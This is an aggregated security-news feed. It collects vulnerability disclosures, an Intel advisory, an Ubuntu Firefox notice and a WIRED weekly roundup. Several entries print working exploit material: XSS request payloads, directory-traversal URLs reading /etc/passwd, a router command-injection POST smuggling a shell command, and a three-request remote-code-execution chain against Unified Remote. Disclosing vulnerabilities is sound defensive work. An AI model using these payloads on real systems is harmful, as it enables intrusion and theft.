Vsourz Digital Advanced Contact form 7 DB Versions 1.7.2 and 1.9.1 is vulnerable to Cross Site Scripting (XSS).

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Reflected XSS (Cross-Site Scripting) attack - CVE-2022-45285

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Vendor: Vsourz Digital

Wordpress Plugin Versions: Advanced Contact form 7 DB - 1.7.2, 1.9.1

Type: Remote attack

We have identified that the “Advanced Contact form 7 DB - 1.7.2, 1.9.1” Wordpress Plugin Versions are vulnerable to Reflective Cross-site scripting (XSS). This is due to that the Web App fails to sanitize HTML/JavaScript code on the server-side. By leveraging this issue, an attacker is able to cause arbitrary HTML and JavaScript code to be executed in a user's browser (e.g. admin) within the security context of the affected site. This attack can be used in conjunction with a social engineering techniques.

We have managed to bypass the client-side protection (URL Encoding) by intercepting the GET HTTP request using an HTTP proxy tool, and then inserting the XSS payload. Also, we have bypassed the server-side protection (Backslash Escaping) using backticks instead of single or double quotes.

Below, evidence is provided.

Request:

GET /formsurvey/index.php/user/admin/?'><script>alert(\`XSS\`)</script><' HTTP/1.1

Host: 1.1.1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK

Date: Fri, 04 Nov 2022 12:56:09 GMT

Server: Apache

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

Link: <http://1.1.1.1/formsurvey/index.php/wp-json/>; rel="https://api.w.org/"

Link: <http://1.1.1.1/formsurvey/?p=33>; rel=shortlink

Vary: Accept-Encoding

Content-Length: 31433

Connection: close

Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>

....

....

<link rel='canonical' href='http://1.1.1.1/formsurvey/index.php/user/admin/?\\'><script>alert(\`XSS\`)</script><\\'' />

....

....

</html>

CVE-2022-45285: Vsourz-Digital/AdvancedContactForm_CF7_DB_XSS.txt at main · IthacaLabs/Vsourz-Digital

ChiKoi version 1.0 suffers from a directory traversal vulnerability.

====================================================================================================================================| # Title     : ChiKoi version 1.0 Directory Traversal Vulnerability Vulnerability                                                 || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit)                                               | | # Vendor    : https://codeload.github.com/tanhongit/new-mvc-shop/zip/refs/tags/v1.0                                              || # Dork      :                                                                                                                    |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  infested file : index.php & admin.php<?phpsession_start();require_once('lib/model.php');require_once('lib/functions.php');require_once('content/models/cart.php');require "lib/statistics.php";require "lib/counter.php";// $count_file = 'logs/counter.txt';// $ip_file = 'logs/ip.txt';// function counting_ip()// {//     $ip = $_SERVER['REMOTE_ADDR'];//     global $count_file, $ip_file;//     if (!in_array($ip, file($ip_file, FILE_IGNORE_NEW_LINES))) {//         $current_val = (file_exists($count_file)) ? file_get_contents($count_file) : 0;//         file_put_contents($ip_file, $ip . "\n", FILE_APPEND);//         file_put_contents($count_file, ++$current_val);//     }// }// counting_ip();if (isset($_GET['controller'])) $controller = $_GET['controller'];else $controller = 'home';if (isset($_GET['action'])) $action = $_GET['action'];else $action = 'index';$file = 'content/controllers/' . $controller . '/' . $action . '.php';if (file_exists($file)) {    require($file);} else {    show_404();}[+]  use payload : ../../../../../../../../../etc/passwd[+]  https://127.0.0.1/chikoiquan.tanhongitcom/index.php?action=../../../../../../../../../etc/passwd[+]  https://127.0.0.1/https://chikoiquan.tanhongitcom/admin.php?file=../../../../../../../../../etc/passwd== Greetings to :===========================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* |        ============================================================================================

ChiKoi 1.0 Directory Traversal

ChiKoi version 1.0 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : ChiKoi version 1.0 XSS Vulnerability                                                                               || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit)                                               | | # Vendor    : https://codeload.github.com/tanhongit/new-mvc-shop/zip/refs/tags/v1.0                                              || # Dork      :                                                                                                                    |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  Register a new membership and enter the membership control panel and choose to modify the member's profile and in the name field put any payload that suits you and then save the changes[+]  Use Payload : <script>alert(/indoushka/);</script>[+]  http://127.0.0.1/chikoiquan.tanhongitcom/        == Greetings to :===========================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* |        ============================================================================================

ChiKoi 1.0 Cross Site Scripting

An XSS vulnerability was discovered in the Mayan EDMS DMS. Successful XSS exploitation was observed in the in-product tagging system.

CVE-2022-47419: Multiple DMS XSS (CVE-2022-47412 through CVE-20222-47419)

Command Injection vulnerability in Edimax Technology Co., Ltd. Wireless Router N300 Firmware BR428nS v3 allows attacker to execute arbitrary code via the formWlanMP function.

Firmware Version: BR6428NSv3\_1.20 You can download Firmware at this website and use FirmAE to simulate the router environment. 

There is a command injection in formWlanMP Function of binary file webs.   After obtaining the POST parameter, it is directly incorporated into the system function for execution without checking and filtering 

PS You must pass basic verification before you can exploit this vulnerability can find the user/passwd in website  

    POST /goform/formWlanMP HTTP/1.1
    Host: 192.168.2.1
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 53
    Origin: http://192.168.2.1
    Authorization: Basic YWRtaW46MTIzNA==
    Connection: close
    Referer: http://192.168.2.1/status.asp
    Cookie: language=14
    Upgrade-Insecure-Requests: 1
    
    ateFunc=1;touch%20/tmp/Swe3ty&submit-url=%2Findex.asp

CVE-2022-45768: CVE/Edimax.md at main · Erebua/CVE

Because the web management interface for Unified Intents' Unified Remote solution does not itself require authentication, a remote, unauthenticated attacker can change or disable authentication requirements for the Unified Remote protocol, and leverage this now-unauthenticated access to run code of the attacker's choosing.

Small albeit possibly unnecessary update following some additional research into the functionality and modules in UnifiedRemote. I identified a different and possibly more convenient means of achieving Remote Code Execution and a potential avenue for making exploitation Web Triggerable through XHR (though I am yet to get it working).

Another avenue for RCE against the Unified Remote Web Server itself is simply to send three HTTP requests. The first initiates a connection attempt which returns a UR-Connection-ID value.

    GET /client/connect HTTP/1.1
    Host: localhost:9510
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
    Accept: */*
    Accept-Language: en-GB,en;q=0.5
    Accept-Encoding: gzip, deflate
    X-Requested-With: XMLHttpRequest
    Connection: close
    Referer: http://localhost:9510/client/
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    -----
    HTTP/1.1 200 OK
    Date: Mon, 06 Feb 2023 21:14:29 GMT
    Connection: Close
    Content-Type: application/json
    
    {
       "id" : "3e709400-a663-11ed-ae76-000c296b19a8"
    }
    

This is then used to 'authenticate' though any values and the previously provided ID can be used.

    POST /client/request HTTP/1.1
    Host: localhost:9510
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
    Accept: */*
    Accept-Language: en-GB,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    UR-Connection-ID: 3e709400-a663-11ed-ae76-000c296b19a8
    X-Requested-With: XMLHttpRequest
    Content-Length: 132
    Origin: http://localhost:9510
    Connection: close
    Referer: http://localhost:9510/client/
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    
    {"Action":0,"Request":0,"Version":10,"Password":"a95db90f-8f22-49cc-a49b-4ecc1cd40d13","Platform":"android","Source":"android-test"}
    

Finally the same UR-Connection-ID can be used to call the Core.Script module and pass it the necessary Command layout values.

    POST /client/request HTTP/1.1
    Host: localhost:9510
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
    Accept: */*
    Accept-Language: en-GB,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    UR-Connection-ID: 3e709400-a663-11ed-ae76-000c296b19a8
    X-Requested-With: XMLHttpRequest
    Content-Length: 314
    Origin: http://localhost:9510
    Connection: close
    Referer: http://localhost:9510/client/
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    
    {"ID":"Core.Script","Action":7,"Request":7,"Run":{"Name":"default","Extras" : {"Values" : [{"Key" : "cmd","Value" : "calc.exe"}]}},"Source":"android-test"}
    

As for the potential for Web Triggerable abuse, the server utilizes Access-Control-Allow-Origin: * on numerous /web  
and /system endpoints. One in particular that stood out was the /system/remote/add endpoint. This allows for uploading a new 'remote' package as a Zip file which includes a remote.lua script. (I simply used an existing sample remote from the remotes folder in programdata). This file can be changed to the following:

    io.popen("<system-command-here>")
    

It is theoretically possible that one may be able to submit the zip file as base64 through use of base64 in atob() and use of ajax/xhr requests in javascript. Though CORS forbids the content-type header which has made inferring the body data as an octet stream quite challenging. The server accepts both this and the follow up /system/reload request through xhr requests however fails to find the Zip file stream start point when attempting to process it.

Anyway, cheers.

CVE-2022-3229: unified_remote exploit by h00die · Pull Request #16989 · rapid7/metasploit-framework

Improper buffer restrictions the Intel(R) C++ Compiler Classic before version 2021.7.1. for some Intel(R) oneAPI Toolkits before version 2022.3.1 may allow a privileged user to potentially enable escalation of privilege via local access.

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*   Brand Name: **Core i9**
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**Intel® oneAPI Toolkit software Advisory**

**Revision History**

Revision

Date

Description

1.0

01/10/2023

Initial Release

1.1

01/30/2023

Corrected Intel® C++ Compiler (Classic) version to 2021.7.1

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CVE-2022-41342: INTEL-SA-00773

Ubuntu Security Notice 5816-2 - USN-5816-1 fixed vulnerabilities in Firefox. The update introduced several minor regressions. This update fixes the problem. Niklas Baumstark discovered that a compromised web child process of Firefox could disable web security opening restrictions, leading to a new child process being spawned within the file:// context. Tom Schuster discovered that Firefox was not performing a validation check on GTK drag data. An attacker could potentially exploits this to obtain sensitive information. Various other issues were also addressed.

==========================================================================  
Ubuntu Security Notice USN-5816-2  
February 06, 2023

firefox regressions  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 20.04 LTS  
- Ubuntu 18.04 LTS

Summary:

USN-5816-1 caused some minor regressions in Firefox.

Software Description:  
- firefox: Mozilla Open Source web browser

Details:

USN-5816-1 fixed vulnerabilities in Firefox. The update introduced  
several minor regressions. This update fixes the problem.

We apologize for the inconvenience.

Original advisory details:

 Niklas Baumstark discovered that a compromised web child process of Firefox  
 could disable web security opening restrictions, leading to a new child  
 process being spawned within the file:// context. An attacker could  
 potentially exploits this to obtain sensitive information. (CVE-2023-23597)

  Tom Schuster discovered that Firefox was not performing a validation check  
 on GTK drag data. An attacker could potentially exploits this to obtain  
 sensitive information. (CVE-2023-23598)

  Vadim discovered that Firefox was not properly sanitizing a curl command  
 output when copying a network request from the developer tools panel. An  
 attacker could potentially exploits this to hide and execute arbitrary  
 commands. (CVE-2023-23599)

  Luan Herrera discovered that Firefox was not stopping navigation when  
 dragging a URL from a cross-origin iframe into the same tab. An attacker  
 potentially exploits this to spoof the user. (CVE-2023-23601)

  Dave Vandyke discovered that Firefox did not properly implement CSP policy  
 when creating a WebSocket in a WebWorker. An attacker who was able to  
 inject markup into a page otherwise protected by a Content Security Policy  
 may have been able to inject an executable script. (CVE-2023-23602)

  Dan Veditz discovered that Firefox did not properly implement CSP policy  
 on regular expression when using console.log. An attacker potentially  
 exploits this to exfiltrate data from the browser. (CVE-2023-23603)

  Nika Layzell discovered that Firefox was not performing a validation check  
 when parsing a non-system html document via DOMParser::ParseFromSafeString.  
 An attacker potentially exploits this to bypass web security checks.  
 (CVE-2023-23604)

  Multiple security issues were discovered in Firefox. If a user were  
 tricked into opening a specially crafted website, an attacker could  
 potentially exploit these to cause a denial of service, obtain sensitive  
 information across domains, or execute arbitrary code. (CVE-2023-23605,  
 CVE-2023-23606)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 20.04 LTS:  
  firefox                         109.0.1+build1-0ubuntu0.20.04.2

Ubuntu 18.04 LTS:  
  firefox                         109.0.1+build1-0ubuntu0.18.04.2

After a standard system update you need to restart Firefox to make all the  
necessary changes.

References:  
  https://ubuntu.com/security/notices/USN-5816-2  
  https://ubuntu.com/security/notices/USN-5816-1  
  https://launchpad.net/bugs/2006075

Package Information:  
  https://launchpad.net/ubuntu/+source/firefox/109.0.1+build1-0ubuntu0.20.04.2  
  https://launchpad.net/ubuntu/+source/firefox/109.0.1+build1-0ubuntu0.18.04.2

Ubuntu Security Notice USN-5816-2

Plus: The FTC cracks down on GoodRx, Microsoft boots “verified” phishing scammers, researchers disclose EV charger vulnerabilities, and more.

If you heard rumblings this week that Netflix is finally cracking down on password sharing in the United States and other markets, you heard wrong—but only for now. The company told WIRED that while it plans to make an announcement in the next few weeks about limiting account sharing, nothing has happened yet. Meanwhile, lawmakers in Congress are eager to overhaul systems for dealing with secret US government data as classified documents keep turning up in the wrong places.

We did a deep dive this week into a ransomware attack that crippled the digital infrastructure of London’s Hackney Council. The assault happened more than two years ago, but it was so impactful that the local authority is still working to recover. A project that’s looking far into the future, meanwhile, is developing prototype pursuit satellites for real-world testing that could someday be used in space battles.

In other military news from the skies, we examined the situation with the apparent Chinese spy balloon over the US and the pros and cons of using balloons as espionage tools. And if you want to improve your personal digital security this weekend, we’ve got a roundup of the most important software updates to install right away, including fixes for Android and Firefox vulnerabilities.

Plus, there’s more. Each week we round up the stories we didn’t cover in-depth ourselves. Click on the headlines to read the full stories. And stay safe out there.

If you’re looking for legit software downloads by searching Google, your clicks just got riskier. The spam- and malware-tracking nonprofit Spamhaus says it has detected a “massive spike” in malware spread via Google Ads in the past two months. This includes “malvertizing” that appears to be authentic downloads of tools like Slack, Mozilla’s Thunderbird email client, and the Tor Browser. Security firm SentinelOne further identified a handful of malicious loaders spread through Google Ads, which researchers collectively dubbed MalVirt. They say MalVirt loaders are used to distribute malware like XLoader, which an attacker can use to steal data from an infected machine. Google told Ars Technica in a statement that it is aware of the malvertizing uptick. “Addressing it is a critical priority, and we are working to resolve these incidents as quickly as possible,” the company said.

The Federal Trade Commission this week issued its first-ever fine under the Health Breach Notification Rule (HBNR). Online pharmacy GoodRx was ordered to pay a $1.5 million fine for allegedly sharing its users’ medication data with third parties like Meta and Google without informing those users of the “unauthorized disclosures,” as is required under the HBNR. The FTC’s enforcement action follows investigations by Consumer Reports and Gizmodo into GoodRx’s data-sharing practices. In addition to violating the HBNR, GoodRx misrepresented its claims of HIPAA compliance, the FTC alleges. GoodRx claims it fixed the issues at the heart of the FTC’s complaint years ago and rejects any admission of guilt. “We do not agree with the FTC’s allegations and we admit no wrongdoing,” a spokesperson told Gizmodo. “Entering into the settlement allows us to avoid the time and expense of protracted litigation.” 

Microsoft this week announced that it had disabled accounts of threat actors who managed to get verified under the Microsoft Cloud Partner Program. Posing as legitimate businesses, the threat actors used their verified account status to create malicious OAuth applications. “The applications created by these fraudulent actors were then used in a consent phishing campaign, which tricked users into granting permissions to the fraudulent apps,” Microsoft said in a blog detailing the issue. “This phishing campaign targeted a subset of customers primarily based in the UK and Ireland.” The company says the people behind the phishing attacks likely used their access to steal emails and that it has notified all victims.

Researchers at the security firm Saiflow this week exposed two vulnerabilities in versions of the open source protocol used in the operation of many electric-vehicle charging stations, called the Open Charge Point Protocol (OCPP). By exploiting vulnerable instances of the OCPP standard, which is used to communicate between chargers and management software, an attacker could take over a charger, disable groups of chargers, or siphon off electricity from a charger for their own use. Saiflow says it’s working with EV charger companies to mitigate the risks of the vulnerabilities.

The 37 million customers exposed by the most recent T-Mobile hack may not be the only people impacted by the breach. Google this week informed customers of the Google Fi mobile service that hackers had obtained “limited” account information, including phone numbers, SIM serial numbers, and information about their accounts. The hackers did not access payment information, passwords, or the contents of communications, like text messages. Still, it’s possible the information could have been used for SIM swap attacks. TechCrunch reports that the intrusion was detected by Google Fi’s “primary network provider,” which noticed “suspicious activity relating to a third-party support system.” The timing of the hack, which comes two weeks after the latest T-Mobile breach, suggests the two are related.

Googling for Software Downloads Is Extra Risky Right Now

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between Jan. 27 and Feb. 3. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key

Tag

#firefox